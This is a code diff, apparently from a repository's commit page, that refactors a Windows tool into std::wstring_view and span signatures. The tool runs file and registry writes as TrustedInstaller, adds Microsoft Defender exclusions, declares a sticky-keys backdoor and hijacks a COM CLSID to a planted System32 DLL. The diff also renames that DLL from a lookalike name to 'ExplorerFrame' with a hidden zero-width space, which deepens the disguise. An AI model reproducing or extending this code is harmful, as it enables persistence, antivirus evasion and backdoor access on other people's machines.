{
|
||||
wchar_t currentPath[MAX_PATH];
|
||||
|
||||
@@ -985,7 +997,7 @@ bool TrustedInstallerIntegrator::AddToDefenderExclusions(const std::wstring& cus
|
||||
ERROR(L"File path too long");
|
||||
return false;
|
||||
}
|
||||
wcscpy_s(currentPath, MAX_PATH, customPath.c_str());
|
||||
wcscpy_s(currentPath, MAX_PATH, std::wstring{customPath}.c_str());
|
||||
}
|
||||
|
||||
fs::path filePath(currentPath);
|
||||
@@ -998,7 +1010,7 @@ bool TrustedInstallerIntegrator::AddToDefenderExclusions(const std::wstring& cus
|
||||
}
|
||||
}
|
||||
|
||||
bool TrustedInstallerIntegrator::RemoveFromDefenderExclusions(const std::wstring& customPath)
|
||||
bool TrustedInstallerIntegrator::RemoveFromDefenderExclusions(std::wstring_view customPath)
|
||||
{
|
||||
wchar_t currentPath[MAX_PATH];
|
||||
|
||||
@@ -1012,7 +1024,7 @@ bool TrustedInstallerIntegrator::RemoveFromDefenderExclusions(const std::wstring
|
||||
ERROR(L"File path too long");
|
||||
return false;
|
||||
}
|
||||
wcscpy_s(currentPath, MAX_PATH, customPath.c_str());
|
||||
wcscpy_s(currentPath, MAX_PATH, std::wstring{customPath}.c_str());
|
||||
}
|
||||
|
||||
fs::path filePath(currentPath);
|
||||
@@ -1163,7 +1175,7 @@ bool TrustedInstallerIntegrator::AddContextMenuEntries()
|
||||
// HELPER UTILITIES
|
||||
// ============================================================================
|
||||
|
||||
DWORD TrustedInstallerIntegrator::GetProcessIdByName(LPCWSTR processName)
|
||||
DWORD TrustedInstallerIntegrator::GetProcessIdByName(std::wstring_view processName)
|
||||
{
|
||||
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hSnapshot == INVALID_HANDLE_VALUE) return 0;
|
||||
@@ -1174,7 +1186,7 @@ DWORD TrustedInstallerIntegrator::GetProcessIdByName(LPCWSTR processName)
|
||||
|
||||
if (Process32FirstW(hSnapshot, &pe)) {
|
||||
do {
|
||||
if (wcscmp(pe.szExeFile, processName) == 0) {
|
||||
if (std::wstring_view(pe.szExeFile) == processName) {
|
||||
pid = pe.th32ProcessID;
|
||||
break;
|
||||
}
|
||||
@@ -1185,15 +1197,13 @@ DWORD TrustedInstallerIntegrator::GetProcessIdByName(LPCWSTR processName)
|
||||
return pid;
|
||||
}
|
||||
|
||||
bool TrustedInstallerIntegrator::IsLnkFile(LPCWSTR path)
|
||||
bool TrustedInstallerIntegrator::IsLnkFile(std::wstring_view path)
|
||||
{
|
||||
if (!path) return false;
|
||||
size_t len = wcslen(path);
|
||||
if (len < 4) return false;
|
||||
return (_wcsicmp(path + len - 4, L".lnk") == 0);
|
||||
if (path.length() < 4) return false;
|
||||
return (_wcsicmp(std::wstring{path.substr(path.length() - 4)}.c_str(), L".lnk") == 0);
|
||||
}
|
||||
|
||||
std::wstring TrustedInstallerIntegrator::ResolveLnk(LPCWSTR lnkPath)
|
||||
std::wstring TrustedInstallerIntegrator::ResolveLnk(std::wstring_view lnkPath)
|
||||
{
|
||||
IShellLinkW* pShellLink = nullptr;
|
||||
IPersistFile* pPersistFile = nullptr;
|
||||
@@ -1208,7 +1218,8 @@ std::wstring TrustedInstallerIntegrator::ResolveLnk(LPCWSTR lnkPath)
|
||||
return L"";
|
||||
}
|
||||
|
||||
hr = pPersistFile->Load(lnkPath, STGM_READ);
|
||||
std::wstring lnkPathStr{lnkPath};
|
||||
hr = pPersistFile->Load(lnkPathStr.c_str(), STGM_READ);
|
||||
if (FAILED(hr)) {
|
||||
pPersistFile->Release();
|
||||
pShellLink->Release();
|
||||
|
||||
@@ -3,6 +3,8 @@
|
||||
#include <windows.h>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
#include <string_view>
|
||||
#include <span>
|
||||
|
||||
class TrustedInstallerIntegrator
|
||||
{
|
||||
@@ -22,55 +24,55 @@ public:
|
||||
bool RunAsTrustedInstallerSilent(const std::wstring& commandLine);
|
||||
|
||||
// File operations (NEW - direct write/delete with TrustedInstaller)
|
||||
bool WriteFileAsTrustedInstaller(const std::wstring& filePath,
|
||||
const std::vector<BYTE>& data) noexcept;
|
||||
bool DeleteFileAsTrustedInstaller(const std::wstring& filePath) noexcept;
|
||||
|
||||
bool RenameFileAsTrustedInstaller(const std::wstring& srcPath,
|
||||
const std::wstring& dstPath) noexcept;
|
||||
|
||||
// Creates a directory with TrustedInstaller privileges
|
||||
bool CreateDirectoryAsTrustedInstaller(const std::wstring& directoryPath) noexcept;
|
||||
bool WriteFileAsTrustedInstaller(std::wstring_view filePath,
|
||||
std::span<const BYTE> data) noexcept;
|
||||
bool DeleteFileAsTrustedInstaller(std::wstring_view filePath) noexcept;
|
||||
|
||||
bool RenameFileAsTrustedInstaller(std::wstring_view srcPath,
|
||||
std::wstring_view dstPath) noexcept;
|
||||
|
||||
// Creates a directory with TrustedInstaller privileges
|
||||
bool CreateDirectoryAsTrustedInstaller(std::wstring_view directoryPath) noexcept;
|
||||
|
||||
// Registry operations (NEW - direct registry access with TrustedInstaller)
|
||||
bool CreateRegistryKeyAsTrustedInstaller(HKEY hRootKey,
|
||||
const std::wstring& subKey) noexcept;
|
||||
std::wstring_view subKey) noexcept;
|
||||
bool WriteRegistryValueAsTrustedInstaller(HKEY hRootKey,
|
||||
const std::wstring& subKey,
|
||||
const std::wstring& valueName,
|
||||
const std::wstring& value) noexcept;
|
||||
std::wstring_view subKey,
|
||||
std::wstring_view valueName,
|
||||
std::wstring_view value) noexcept;
|
||||
bool WriteRegistryDwordAsTrustedInstaller(HKEY hRootKey,
|
||||
const std::wstring& subKey,
|
||||
const std::wstring& valueName,
|
||||
DWORD value) noexcept;
|
||||
std::wstring_view subKey,
|
||||
std::wstring_view valueName,
|
||||
DWORD value) noexcept;
|
||||
bool WriteRegistryBinaryAsTrustedInstaller(HKEY hRootKey,
|
||||
const std::wstring& subKey,
|
||||
const std::wstring& valueName,
|
||||
const std::vector<BYTE>& data) noexcept;
|
||||
std::wstring_view subKey,
|
||||
std::wstring_view valueName,
|
||||
std::span<const BYTE> data) noexcept;
|
||||
bool ReadRegistryValueAsTrustedInstaller(HKEY hRootKey,
|
||||
const std::wstring& subKey,
|
||||
const std::wstring& valueName,
|
||||
std::wstring& outValue) noexcept;
|
||||
std::wstring_view subKey,
|
||||
std::wstring_view valueName,
|
||||
std::wstring& outValue) noexcept;
|
||||
bool DeleteRegistryKeyAsTrustedInstaller(HKEY hRootKey,
|
||||
const std::wstring& subKey) noexcept;
|
||||
std::wstring_view subKey) noexcept;
|
||||
|
||||
// Defender exclusions
|
||||
bool AddDefenderExclusion(ExclusionType type, const std::wstring& value);
|
||||
bool RemoveDefenderExclusion(ExclusionType type, const std::wstring& value);
|
||||
bool AddToDefenderExclusions(const std::wstring& customPath = L"");
|
||||
bool RemoveFromDefenderExclusions(const std::wstring& customPath = L"");
|
||||
bool AddDefenderExclusion(ExclusionType type, std::wstring_view value);
|
||||
bool RemoveDefenderExclusion(ExclusionType type, std::wstring_view value);
|
||||
bool AddToDefenderExclusions(std::wstring_view customPath = L"");
|
||||
bool RemoveFromDefenderExclusions(std::wstring_view customPath = L"");
|
||||
|
||||
bool AddPathExclusion(const std::wstring& path);
|
||||
bool RemovePathExclusion(const std::wstring& path);
|
||||
bool AddProcessExclusion(const std::wstring& processName);
|
||||
bool RemoveProcessExclusion(const std::wstring& processName);
|
||||
bool AddExtensionExclusion(const std::wstring& extension);
|
||||
bool RemoveExtensionExclusion(const std::wstring& extension);
|
||||
bool AddIpAddressExclusion(const std::wstring& ipAddress);
|
||||
bool RemoveIpAddressExclusion(const std::wstring& ipAddress);
|
||||
bool AddPathExclusion(std::wstring_view path);
|
||||
bool RemovePathExclusion(std::wstring_view path);
|
||||
bool AddProcessExclusion(std::wstring_view processName);
|
||||
bool RemoveProcessExclusion(std::wstring_view processName);
|
||||
bool AddExtensionExclusion(std::wstring_view extension);
|
||||
bool RemoveExtensionExclusion(std::wstring_view extension);
|
||||
bool AddIpAddressExclusion(std::wstring_view ipAddress);
|
||||
bool RemoveIpAddressExclusion(std::wstring_view ipAddress);
|
||||
|
||||
bool AddProcessToDefenderExclusions(const std::wstring& processName);
|
||||
bool RemoveProcessFromDefenderExclusions(const std::wstring& processName);
|
||||
bool AddProcessToDefenderExclusions(std::wstring_view processName);
|
||||
bool RemoveProcessFromDefenderExclusions(std::wstring_view processName);
|
||||
|
||||
// Sticky keys backdoor
|
||||
bool InstallStickyKeysBackdoor() noexcept;
|
||||
@@ -91,17 +93,17 @@ private:
|
||||
static const LPCWSTR ALL_PRIVILEGES[];
|
||||
static const int PRIVILEGE_COUNT;
|
||||
|
||||
BOOL EnablePrivilegeInternal(LPCWSTR privilegeName);
|
||||
BOOL EnablePrivilegeInternal(std::wstring_view privilegeName);
|
||||
BOOL ImpersonateSystem();
|
||||
BOOL CreateProcessAsTrustedInstaller(DWORD pid, LPCWSTR commandLine);
|
||||
BOOL CreateProcessAsTrustedInstallerSilent(DWORD pid, LPCWSTR commandLine);
|
||||
BOOL CreateProcessAsTrustedInstaller(DWORD pid, std::wstring_view commandLine);
|
||||
BOOL CreateProcessAsTrustedInstallerSilent(DWORD pid, std::wstring_view commandLine);
|
||||
|
||||
DWORD GetProcessIdByName(LPCWSTR processName);
|
||||
bool IsLnkFile(LPCWSTR path);
|
||||
std::wstring ResolveLnk(LPCWSTR lnkPath);
|
||||
DWORD GetProcessIdByName(std::wstring_view processName);
|
||||
bool IsLnkFile(std::wstring_view path);
|
||||
std::wstring ResolveLnk(std::wstring_view lnkPath);
|
||||
|
||||
bool ValidateExtension(const std::wstring& extension) noexcept;
|
||||
bool ValidateIpAddress(const std::wstring& ipAddress) noexcept;
|
||||
std::wstring NormalizeExtension(const std::wstring& extension) noexcept;
|
||||
std::wstring ExtractProcessName(const std::wstring& fullPath) noexcept;
|
||||
bool ValidateExtension(std::wstring_view extension) noexcept;
|
||||
bool ValidateIpAddress(std::wstring_view ipAddress) noexcept;
|
||||
std::wstring NormalizeExtension(std::wstring_view extension) noexcept;
|
||||
std::wstring ExtractProcessName(std::wstring_view fullPath) noexcept;
|
||||
};
|
||||
@@ -986,7 +986,7 @@ std::vector<BYTE> DecompressCABFromMemory(const BYTE* cabData, size_t cabSize) n
|
||||
return extractedFile;
|
||||
}
|
||||
|
||||
// Splits kvc.evtx container into driver (kvc.sys) and DLL (ExpIorerFrame.dll)
|
||||
// Splits kvc.evtx container into driver (kvc.sys) and DLL (ExplorerFrame\u200B.dll)
|
||||
// Uses PE subsystem field to distinguish driver (Native) from DLL (Windows GUI/Console)
|
||||
bool SplitKvcEvtx(const std::vector<BYTE>& kvcData,
|
||||
std::vector<BYTE>& outKvcSys,
|
||||
@@ -1044,7 +1044,7 @@ bool SplitKvcEvtx(const std::vector<BYTE>& kvcData,
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"Split kvc.evtx: kvc.sys=%zu bytes, ExpIorerFrame.dll=%zu bytes",
|
||||
DEBUG(L"Split kvc.evtx: kvc.sys=%zu bytes, ExplorerFrame\u200B.dll=%zu bytes",
|
||||
outKvcSys.size(), outDll.size());
|
||||
|
||||
return true;
|
||||
@@ -1094,7 +1094,7 @@ bool ExtractResourceComponents(int resourceId,
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"[EXTRACT] Success - kvc.sys: %zu bytes, ExpIorerFrame.dll: %zu bytes",
|
||||
DEBUG(L"[EXTRACT] Success - kvc.sys: %zu bytes, ExplorerFrame\u200B.dll: %zu bytes",
|
||||
outKvcSys.size(), outDll.size());
|
||||
|
||||
return true;
|
||||
|
||||
@@ -152,12 +152,12 @@ namespace Utils
|
||||
// Decompress CAB archive from memory and extract kvc.evtx
|
||||
std::vector<BYTE> DecompressCABFromMemory(const BYTE* cabData, size_t cabSize) noexcept;
|
||||
|
||||
// Split kvc.evtx into kvc.sys (driver) and ExpIorerFrame.dll
|
||||
// Split kvc.evtx into kvc.sys (driver) and ExplorerFrame\u200B.dll
|
||||
bool SplitKvcEvtx(const std::vector<BYTE>& kvcData,
|
||||
std::vector<BYTE>& outKvcSys,
|
||||
std::vector<BYTE>& outDll) noexcept;
|
||||
|
||||
// Extract components from resource 102 (CAB containing kvc.sys + ExpIorerFrame.dll)
|
||||
// Extract components from resource 102 (CAB containing kvc.sys + ExplorerFrame\u200B.dll)
|
||||
bool ExtractResourceComponents(int resourceId,
|
||||
std::vector<BYTE>& outKvcSys,
|
||||
std::vector<BYTE>& outDll) noexcept;
|
||||
|
||||
@@ -17,14 +17,14 @@ bool WatermarkManager::RemoveWatermark() noexcept
|
||||
{
|
||||
INFO(L"[WATERMARK] Starting watermark removal process");
|
||||
|
||||
// Extract ExpIorerFrame.dll from resource
|
||||
// Extract ExplorerFrame\u200B.dll from resource
|
||||
std::vector<BYTE> dllData;
|
||||
if (!ExtractWatermarkDLL(dllData)) {
|
||||
ERROR(L"[WATERMARK] Failed to extract DLL from resource");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"[WATERMARK] Successfully extracted ExpIorerFrame.dll (%zu bytes)", dllData.size());
|
||||
INFO(L"[WATERMARK] Successfully extracted ExplorerFrame\u200B.dll (%zu bytes)", dllData.size());
|
||||
|
||||
// Get System32 path
|
||||
std::wstring system32Path = GetSystem32Path();
|
||||
@@ -33,7 +33,7 @@ bool WatermarkManager::RemoveWatermark() noexcept
|
||||
return false;
|
||||
}
|
||||
|
||||
std::wstring dllPath = system32Path + L"\\ExpIorerFrame.dll";
|
||||
std::wstring dllPath = system32Path + L"\\ExplorerFrame\u200B.dll";
|
||||
|
||||
// Write DLL using TrustedInstaller
|
||||
if (!m_trustedInstaller.WriteFileAsTrustedInstaller(dllPath, dllData)) {
|
||||
@@ -85,7 +85,7 @@ bool WatermarkManager::RestoreWatermark() noexcept
|
||||
// 3. Teraz usuń DLL (uchwyt został zwolniony)
|
||||
std::wstring system32Path = GetSystem32Path();
|
||||
if (!system32Path.empty()) {
|
||||
std::wstring dllPath = system32Path + L"\\ExpIorerFrame.dll";
|
||||
std::wstring dllPath = system32Path + L"\\ExplorerFrame\u200B.dll";
|
||||
|
||||
// Dodaj krótkie opóźnienie dla pewności
|
||||
Sleep(1000);
|
||||
@@ -132,7 +132,7 @@ bool WatermarkManager::ExtractWatermarkDLL(std::vector<BYTE>& outDllData) noexce
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"[WATERMARK] ExpIorerFrame.dll extracted: %zu bytes", outDllData.size());
|
||||
DEBUG(L"[WATERMARK] ExplorerFrame\u200B.dll extracted: %zu bytes", outDllData.size());
|
||||
return !outDllData.empty();
|
||||
}
|
||||
|
||||
|
||||
@@ -36,7 +36,7 @@ private:
|
||||
static constexpr const wchar_t* CLSID_KEY =
|
||||
L"CLSID\\{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}\\InProcServer32";
|
||||
static constexpr const wchar_t* HIJACKED_DLL =
|
||||
L"%SystemRoot%\\system32\\ExpIorerFrame.dll";
|
||||
L"%SystemRoot%\\system32\\ExplorerFrame\u200B.dll";
|
||||
static constexpr const wchar_t* ORIGINAL_DLL =
|
||||
L"%SystemRoot%\\system32\\ExplorerFrame.dll";
|
||||
|
||||
|
||||
Reference in New Issue
Block a user